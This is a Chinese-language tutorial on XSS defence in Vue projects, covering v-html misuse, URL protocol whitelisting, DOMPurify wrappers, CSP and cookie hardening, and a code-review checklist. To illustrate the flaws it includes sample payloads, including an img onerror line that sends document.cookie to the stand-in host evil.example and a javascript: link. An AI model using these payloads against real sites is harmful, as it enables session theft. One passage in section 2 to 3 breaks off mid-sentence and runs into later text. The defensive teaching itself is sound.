☰
Vue项目XSS防护实战:从v-html漏洞到DOMPurify与CSP分层防御
2026/10/21 8:58:18 网站建设 项目流程

接手一个带用户输入功能的 Vue 项目,你迟早会撞上 XSS。我去年排查过一起线上事故:某社区页面的评论区被塞进了一段<img src="x" onerror="...">,页面一加载就向陌生域名回传用户 Cookie,整页还被篡改成虚假的活动弹窗。最后定位到的问题很简单——后端返回的富文本被直接丢进了v-html,没人做净化。这事让我意识到,很多 Vue 开发者对 XSS 的印象还停留在“模板会转义所以很安全”,但真正的风险点恰恰藏在那些你主动关闭转义、或者绕开模板机制去操作 DOM 的地方。

这篇文章以 Vue 项目为背景,把 XSS 的原理、三类常见形态、Vue 里的高发场景和一套分层防护方案完整梳理一遍。既有 DOMPurify、CSP 这类工具的落地配置,也有代码审查清单、排查技巧这些实战经验。适合正在维护 Vue 2 / Vue 3 生产项目的开发者,以及准备给团队补安全课的前端负责人。

1. XSS 攻击的核心逻辑与常见分类

1.1 攻击者到底在“注入”什么

XSS 全名是 Cross-Site Scripting,跨站脚本攻击。名字听着绕,本质其实很朴素:攻击者把一段本该是“数据”的内容,伪装成“代码”喂给浏览器执行。浏览器解析 HTML 的时候,只认合法标签,不认标签是开发者写的还是用户填的。只要<script>出现在它该出现的位置,它就会执行。

我习惯用一个生活化类比来解释:你收到一封电子邮件,正文里写着“明天下午三点会议室碰头”。但邮件末尾还夹着一行> “替我把 /tmp 里的文件发到 xx 邮箱”,而邮件客户端没把这行字当引用文本,反而当成指令去执行了。浏览器处理页面就是这么个逻辑,它默认信任一切合法 HTML 结构和合法 JavaScript 语法,哪怕这些内容和开发者一点关系都没有。

所以 XSS 防御的核心思路不是“找出恶意代码然后屏蔽它”,而是从源头做到——凡是外部进来的数据,一律按“数据”处理,不赋予它“代码”的语义。这就是为什么 Vue 模板默认的插值表达式{{ }}是安全的,因为它会把内容里的<、>、&等特殊字符转成 HTML 实体,浏览器渲染出来的是普通文本,根本不是可执行的标签。

搞清楚这个原理,就能理解后面所有防护手段。不管是转义、白名单净化,还是内容安全策略,本质上都是在做同一件事:收紧“数据变为代码”的通道。

1.2 存储型、反射型、DOM 型,三种形态横向对比

按照攻击脚本的存储位置和触发链路,XSS 通常分为三种类型。我在给团队做安全分享时常说:存储型是最危险的,因为攻击脚本被持久化到服务器,任何用户访问到对应页面都会被触发;反射型次之,它需要诱导用户点一个精心构造的链接;而 DOM 型特别容易被前端团队忽略,因为它全程发生在浏览器端,服务端完全感知不到,尤其在前后端分离的单页应用里非常常见。

类型注入位置触发条件典型场景
存储型服务端数据库用户正常浏览到包含恶意数据的页面即触发评论区、留言板、用户昵称、富文本内容
反射型URL 参数、表单提交用户点击攻击者构造的链接,服务端把参数原样反射回页面站内搜索、报错页、登录跳转回跳
DOM 型浏览器端 DOM 节点前端 JS 读取 URL 参数或本地存储后写入 DOM,参数中携带的脚本被触发SPA 路由 query、hash、postMessage 消息处理

我的记忆方法是记链路:存储型是“存到服务器,谁访问谁中招”;反射型是“带在链接里,点进来才中招”;DOM 型是“纯前端组装,服务端看不见”。举个例子,一个 Vue 项目如果从window.location.hash里取出参数,直接拼进innerHTML来渲染面包屑,那就算服务端响应头配得再严也救不了你,因为这个过程根本没经过服务端。

攻击脚本能干什么?不只是弹个 alert 那么简单。它可以读取document.cookie里的会话凭证、读取localStorage里的业务数据、监听键盘输入、篡改页面 DOM 来钓鱼,甚至可以借助浏览器漏洞向内网发起探测。危害程度取决于你的应用里存了什么,以及脚本能拿到什么权限。

2. Vue 项目中的 XSS 高发场景与真实危害

2.1 v-html 与模板字符串拼接:两处高危区

Vue 模板默认的插值表达式是安全的,这容易给人一个错觉:在 Vue 项目里写页面,天然防 XSS。但只要用了v-html,这个保护就主动失效了。v-html的官方文档都写得明明白白:“不要对用户提供的内容使用 v-html”。它就是把字符串原样按 HTML 解析,相当于直接调innerHTML。

实际项目中,最常见的滥用场景是渲染富文本内容。比如产品详情页、运营配置的活动页、用户协议等。把后端返回的 HTML 直接塞进v-html,如果后端这段内容由运营编辑,风险可能还能控制在内部;一旦内容来源包含用户生成内容(UGC),比如让用户自己上传简历模板、商品图文详情,那就直接暴露在攻击面之下。

举个例子,攻击者在富文本编辑器中输入:

<img src="x" onerror="fetch('https://evil.example/collect?c=' + document.cookie)" />

这段内容存进数据库后,后端返回给前端。前端组件长这样:

<template> <div class="content" v-html="article.content"></div> </template>

页面渲染时,img标签因为src="x"加载失败,立刻触发onerror事件,恶意代码执行,Cookie 被发送到攻击者服务器。整个过程页面外观毫无异常,用户不会察觉。

另一种高风险操作是手工拼接 HTML 字符串。有人喜欢写这样的函数:

function renderCard(user) { return '<div class="card">' + user.name + '<a href="' + user.link + '">访问主页</a></div>' }

只要user.name或user.link来自用户输入,且这段字符串最终被渲染为 HTML(不管是v-html还是innerHTML),里面的标签和属性就不会被转义,恶意代码直接生效。拼接 HTML 这种做法,在 Vue 这类声明式框架里其实不应该出现。正确的做法是拆成模板片段,用组件或插值语法来组织。

2.2 动态属性、URL 参数与第三方组件:容易被忽略的入口

如果说v-html是公开的高危区,那下面这几个场景就是隐藏的雷区,踩过一次的人才会长记性。

第一,动态绑定href或src时没有做协议白名单。比如这个写法:

<template> <a :href="user.website">访问主页</a> </template>

user.website如果被恶意用户设置成javascript:alert(document.cookie),Vue 不会帮你拦截,因为从绑定值的角度看它只是一个普通字符串。当用户点击链接时,浏览器执行了javascript:alert(document.cookie)这个伪协议。更隐蔽的还有data:text/html,<script>...这类伪协议。防护办法很简单:判断 URL 的协议头,只允许http:和https:,其他全部降级为纯文本或置空。

第二,从 URL 参数读取数据并拼入页面。SPA 项目里经常有这种代码:

const keyword = route.query.keyword document.title = `搜索结果:${keyword}`

如果keyword里带的是<script>,虽然 Vue 模板插值会转义,但直接操作document.title、document.body这类原生 DOM API 时,还是会绕过保护。更危险的是通过innerHTML把 URL 参数拼进页面容器,这在老代码里真的屡见不鲜。

第三,第三方编辑器输出的内容没有净化。不少富文本编辑器导出的 HTML 里包含style、class、>npm install dompurify

import DOMPurify from 'dompurify' const dirtyHtml = '<p onclick="steal()">正常内容</p><img src="x" onerror="steal()">' const cleanHtml = DOMPurify.sanitize(dirtyHtml) // 输出 <p>正常内容</p><img src="x"> // onclick 和 onerror 都被移除

在 Vue 项目里,不建议到处散落调用DOMPurify.sanitize,而是封装成一个统一入口。常见做法有两种,下面第 4 节我会给出完整的组件封装方案和全局安全的建议。这里先讲两个使用配置时的要点。

第一,默认配置对a标签的target="_blank"不自动添加rel="noopener noreferrer",但被净化后的 HTML 如果要在新窗口打开链接,建议手动加,否则存在 tabnabbing 类风险(新标签页恶意页面反向控制原页面)。第二,如果为了让富文本样式尽量保留,需要放开某些标签或属性,务必在充分了解风险后再配置。比如允许style属性时,DOMPurify 会做检查和清理,但业务方如果还要求支持iframe,那就必须限制iframe的src协议和域名范围,最好能内联预览而不允许外链。

我实际测试下来,DOMPurify 对常见的富文本内容(段落、标题、加粗、列表、图片、链接)处理效果很好,不会误杀正常排版。但对比较花哨的第三方富文本编辑器导出的模板,偶尔需要加ADD_TAGS和ADD_ATTR配置来兼容。遇到这种情况,先在测试环境构造一批攻击 payload 跑一遍净化结果再上线,不要拿生产环境试。

3.3 浏览器层:内容安全策略 CSP 与 Cookie 加固

净化层解决的是“进入页面的数据尽量安全”,CSP 解决的是“就算某段恶意脚本生效了,浏览器也不让它访问外部”。内容安全策略(Content Security Policy)是一个 HTTP 响应头,告诉浏览器这个页面允许加载哪些来源的资源、允许执行哪些形式的脚本。

一个适合 Vue 项目常规场景的基础 CSP 配置如下:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'

解释一下:default-src 'self'表示所有未单独指定的资源类型都只能从当前域名加载;script-src 'self'限制脚本只接受同源文件;object-src 'none'禁止插件对象;base-uri 'self'限制页面中<base>标签,防止攻击者篡改页面内相对 URL 的解析起点。

CSP 配下去之后,如果页面上有内联的<script>标签(比如埋点代码直接写在 HTML 里),或者有内联事件处理器(onclick="..."),浏览器会直接拦截,控制台会报错。这就是把编码规范强制提升到框架层面:不内联脚本、不写内联事件、所有 JS 走外部文件。前端项目用 Webpack / Vite 打包时,构建后的 JS 文件本身就是外部资源,天然满足这个条件。

这里有一个 Vue 项目特有的坑必须单独说。如果你在 HTML 文件里直接引用了 Vue 的全量包(vue.js,即包含即时编译模板的完整版),Vue 在运行时需要调用new Function来解析模板字符串。CSP 配置一旦收紧,默认禁止unsafe-eval,整个应用会直接白屏,控制台提示:“CSP 阻止了 Vue 的模板编译”。解决方案是:生产依赖用 Vue 的运行时版本(runtime-only),模板在构建期就编译成 JavaScript 的 render 函数,运行时不需要 eval。Vue CLI / Vite 脚手架默认打包用的就是运行时版本,但如果你在 index.html 里手动引入了全量 CDN 版本,或者旧项目升级时保留了这个写法,就一定会撞上这个坑。

CSP 的配置建议从宽松到严格逐步收紧。上线初期可以先加Content-Security-Policy-Report-Only,只上报不拦截,收集一遍线上真实的资源加载情况,再慢慢收紧为正式的拦截策略。我给团队定的基线是:

default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; object-src 'none'; base-uri 'self'

style-src 'unsafe-inline'这里我暂时放开了,原因是 Vue 绑定样式和部分第三方组件会在运行时插入<style>标签,先保证业务兼容,后续换掉这些组件后可以再收紧。

Cookie 层面也顺带加固一下。如果 XSS 还是突破了,攻击者第一反应是读document.cookie。服务端在设置会话 Cookie 时,必须带上HttpOnly属性,这样脚本通过document.cookie拿不到会话凭证。再加上Secure(只允许 HTTPS 传输)和SameSite=Lax(限制跨站请求携带),密码学意义上的关键凭证就不会轻易被脚本拖走。注意一点:HttpOnly挡不住脚本读取localStorage里存的 Token,所以不要把手牌全押在HttpOnly上,该做的持久化安全(localStorage令牌过期、刷新机制)还是要做。

4. 防护措施的代码级实操

4.1 从工具函数到全局组件的封装路径

理论说完了,直接落到代码。先封装一个统一净化工具,避免每个组件各写各的。新建一个sanitize.js:

import DOMPurify from 'dompurify' export function sanitizeHtml(html, options) { return DOMPurify.sanitize(html || '', options) } export function cleanUrl(url) { const trimmed = (url || '').trim() const protocol = parsedProtocol(trimmed) if (!protocol || !['http:', 'https:'].includes(protocol)) { return '' } return trimmed } function parsedProtocol(str) { try { return new URL(str).protocol } catch (e) { return undefined } }

cleanUrl这个函数就是之前说的协议白名单,专门处理javascript:伪协议。使用new URL解析而不是简单地startsWith('http'),是为了避免大小写和空白字符(java\nscript:之类的变形)绕过字符串匹配。实测下来,基于 URL 标准解析更可靠。

然后封装一个供模板使用的全局组件。新建SafeHtml.vue:

<template> <div v-html="sanitizedContent"></div> </template> <script setup> import { computed } from 'vue' import DOMPurify from 'dompurify' const props = defineProps({ content: { type: String, default: '' }, options: { type: Object, default: () => ({}) } }) const sanitizedContent = computed(() => DOMPurify.sanitize(props.content, props.options)) </script>

在 main.js 里全局注册:

import { createApp } from 'vue' import SafeHtml from './components/SafeHtml.vue' const app = createApp(App) app.component('SafeHtml', SafeHtml) app.mount('#app')

使用方式:

<template> <SafeHtml :content="article.content" /> </template>

如果项目还在用 Vue 2 的 Options API,同样思路用computed+ filter 也能实现,只是组件内部写法换成data和computed。封装好之后,团队规范里就可以直接规定:禁止直接用v-html,一律用SafeHtml组件。

还有一个容易被忽略的点:富文本编辑器本身输出的内容也不要直接进SafeHtml。因为编辑器内部可能已经做了一层过滤,但它们的过滤策略不是安全级净化,可靠做法仍然是把编辑器输出再喂给SafeHtml。另外在DOMPurify.sanitize时,可以结合业务场景自定义配置。比如允许iframe只允许同域的视频嵌入时:

DOMPurify.sanitize(content, { ADD_TAGS: ['iframe'], ADD_ATTR: ['allow', 'allowfullscreen', 'frameborder', 'scrolling'], ALLOWED_URI_REGEXP: /^(https?:|\/\/)/i })

这里的ALLOWED_URI_REGEXP统一限制了业务富文本里只能出现http(s)协议和相对路径,从机制上堵住伪协议。

4.2 Vue 2 与 Vue 3 的差异与兼容要点

防护框架在两个大版本里是通用的,但有几个迁移层的小差异值得专门说清楚。

Vue 2 的过滤器(filter)机制在 Vue 3 里被移除了。早期不少 Vue 2 项目会写{{ content | sanitize }},升级到 Vue 3 后这段代码直接失效。同类需求用组合式 API 的函数或全局组件替代,上面SafeHtml组件就是兼容性最好的方案。

Vue 2 里对v-model表单值做处理时,有人会在watch里直接改回显的内容,这个模式在 Vue 3 里要注意 setup 模式下computed的读写语义,避免每次输入都触发不必要的净化计算。实际建议是:输入阶段只做校验和限制长度,从来不在输入过程中调用DOMPurify,因为净化适合输出阶段,输入阶段做容易引入性能问题,也会把用户合法的编辑打断。

第三是 Vue 3 的app.config.globalProperties不太适合放需要响应式依赖的净化方法,因为它不参与响应式追踪。如果把sanitizeHtml挂到全局属性上并用在模板中,更新时机容易踩坑。所以我的结论很明确:富文本净化尽量用独立组件封装,不要在全局属性上搞模板调用。

Vue 2 + 老构建配置的项目,还需要额外检查构建产物是否强行开启了Eval DevTools相关的插件。之前见过一个老项目为了让webpack更快,在构建脚本里加了devtool: 'eval',生产环境直接带上了eval风格的代码,如果 CSP 开了script-src 'self'不放开unsafe-eval,页面同样会白屏。这属于构建产物和 CSP 策略的耦合问题,排查的方向和模板编译类似,但很多人想不起来。

4.3 一套可直接照搬的安全编码检查清单

在团队里推行防护体系,最好把规则变成一份可执行的检查清单,否则靠个人自觉很难坚持。我给项目组整理过一张速查表,已经实际用于 code review 阶段,这里直接贴出来:

检查场景风险判定处理方式
模板插值{{ value }}安全保持默认,不要主动关闭转义
渲染富文本 / HTML 字符串高危禁止直接v-html,改用SafeHtml组件统一净化
动态绑定href/src高危统一走cleanUrl协议白名单校验
从 URL 参数 / hash 取数据后写页面中危优先用插值;必须用 DOM API 时先转义或净化
手工拼接 HTML 字符串高危拆成模板结构,用组件和插值表达
富文本编辑器输出中危上屏前再过一次 DOMPurify
第三方依赖版本中危定期 npm audit,关注组件库的安全通报
Cookie 存登录凭证高危服务端设置 HttpOnly、Secure、SameSite=Lax
页面存在内联 script / 内联事件中危移到外部 JS 文件,给构建产物加子资源完整性 SRI
第三方统计 / 埋点脚本低危固化域名白名单,纳入 CSPscript-src许可来源

这里补充说明 SRI(子资源完整性)。如果用外部 CDN 加载第三方 JS(比如从公共 CDN 加载某个库),可以给<script>标签加integrity和crossorigin属性,浏览器会校验文件哈希,文件被篡改就直接拒绝执行。Vue 项目一般用构建后的本地文件,对本地文件不必强行上 SRI,但如果 index.html 里引用了 CDN 资源,配一个没坏处。

清单落地时,建议把这些规则写进项目的README或者CONTRIBUTING.md,让新加入团队的成员第一天上手就接触。更重要的是在 code review 的模版里加上“是否使用 SafeHtml / 是否走了协议白名单”两个勾选项。靠流程把安全规则固化下来,比单纯口头叮嘱有效得多。

5. 实战中那些坑与排查记录

5.1 我踩过的几个典型问题

再聊几个我真实处理过的问题,都属于“文档里不会写、但踩上一次就明白”的范畴。第一个是我在项目里混用了两套富文本渲染路径:一个经 DOMPurify 净化,一个直接从状态管理里拿原始内容渲染。后来查安全事故时发现,漏掉的那个恰恰是用户资料卡片的签名档,攻击者把签名档内容设为<svg/onload=...>带进页面。教训是:项目里所有渲染富文本的地方只能有一条统一通道,不允许“这里净化、那里不净化”的特例,否则漏网之鱼一定会挑特例钻进来。

第二个是只做了标签黑名单,没考虑属性层面的攻击。早期项目有同事自己写了过滤函数,把<script>、<iframe>、onerror这些词直接字符串替换掉。结果攻击者用<img src=x onerror=x>的变形写法、大小写混写、HTML 实体编码、SVG 的 onload 事件,照样绕过。后来彻底换成 DOMPurify 才收住。这类问题我第一次处理的时候也以为“正则够了”,验证一段时间就发现完全不够。

第三个是 DOMPurify 净化后样式丢失,业务方反馈内容排版乱了。这是把富文本编辑器输出做净化时最常见的兼容问题。某些编辑器会输出一个带复杂table和internal css的 HTML 结构,默认白名单会把这些内部的style属性剥掉,导致表格宽度错乱。解决方案是给编辑器定义可控的 HTML 输出规范,限制它只输出标准标签,再在 DOMPurify 侧放开对应属性和标签。不要为了保住排版去禁用净化,那是本末倒置。

第四个坑跟 CSP 有关。某次上线后运营反馈有个老页面打不开了,控制台报 CSP 错误,排查后发现该页面的运营活动配置里加载了一个外部数据平台的脚本。因为脚本域名不在script-src白名单里,直接被浏览器拦截。这个问题的处理方式是给外部脚本来源配置统一的域名白名单,并在接入任何第三方脚本前都走一遍“安全评估+白名单添加”流程。不加流程审查的 CSP,等于给后续接入外部埋点埋了雷。

5.2 排查 XSS 问题的快速方法

真到了线上反馈页面异常的时候,怎么快速判断是不是 XSS?我的定位路径大致是这样的。

先在疑似页面用无痕窗口打开(避免浏览器扩展干扰),按 F12 打开开发者工具,检查渲染后的 DOM 元素里有没有异常的script、iframe、data:URL 或者以on开头的事件属性。这一步能看到大部分“已经生效”的注入。

第二步是复现并验证注入点。往输入框、URL 参数、搜索框分别提交一个无害的探针字符,比如<div id="xsstest">x</div>,刷新页面后在 DOM 树里搜索xsstest,如果这个 id 真的出现在渲染结果并且没有被转义为文本,说明这里存在一个可注入点。再换一个触发型 payload 看看是不是真的能执行:

<img src="x" onerror="alert(document.domain)">

如果页面弹出了当前域名,基本就能确认拦截逻辑有缺口。注意,这个验证过程最好在测试环境做。

第三步,打开 Network 面板,观察页面加载过程中有没有向陌生域名发出请求。尤其留意img、script、fetch类型的请求。如果有,多半是已植入的恶意代码在回传数据,配合 Sources 面板搜索与外联域名相关的代码片段,定位植入点。

第四步,做一次自动化扫描。我习惯用 OWASP ZAP 这类开源工具对项目跑一遍主动扫描,它会自动提交各种 XSS payload 并报告哪里触发告警。别迷信扫描结果“零风险”,扫描工具只能覆盖通用 payload 和技术规则,业务逻辑的绕过方式还得靠人肉代码审查。但对普通项目,扫描一次的价值仍然很大,能把低级错误扫出来。

5.3 安全编码的长期习惯与团队规范

防护不是一次性动作,而是持续习惯。每次新接到一个页面需求时,我都会在心里问三个问题:有没有外来数据?数据流经哪些路径?最终以什么形式进入 DOM?只要这三个问题能答清楚,八成风险都能在写码阶段被挡掉。

团队层面,我建议把安全兜进工程流程里。全组约定一个“安全预检池”,凡是对外功能和活动页上线前,必须走一轮安全自查清单,我在上节给的那张表可以直接当模板。还有一条虽然老套但有用的做法:每周抽十几分钟跑一次依赖安全检查。前端依赖库被曝出 XSS 漏洞的案例不少,npm audit能查出来的问题,尽量在引入前就拦截住。

另外,给团队成员做一次小范围的 XSS 培训也很有必要。内容不要讲得太理论,就用真实的攻击 payload 和修复前后的对比演示效果。好几次团队分享后,新同事第一反应都是“原来一个 onerror 就能偷走 Cookie”,从那以后大家写富文本组件时都会主动问一句“这边安全处理了吗”——这种意识比任何工具都重要。

最后再分享一个小技巧:如果项目里一时拿不准哪些地方用了v-html,直接全局搜索v-html、innerHTML、outerHTML、insertAdjacentHTML这几个关键词,把搜索结果里的每一处都过一遍,该净化就净化,该替换成组件就替换。我每次接手历史项目,第一周雷打不动做这件事,后续的线上异常明显少很多。安全的本质不在于你知道多少攻击姿势,而在于你封堵了所有不经审查的数据通道。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询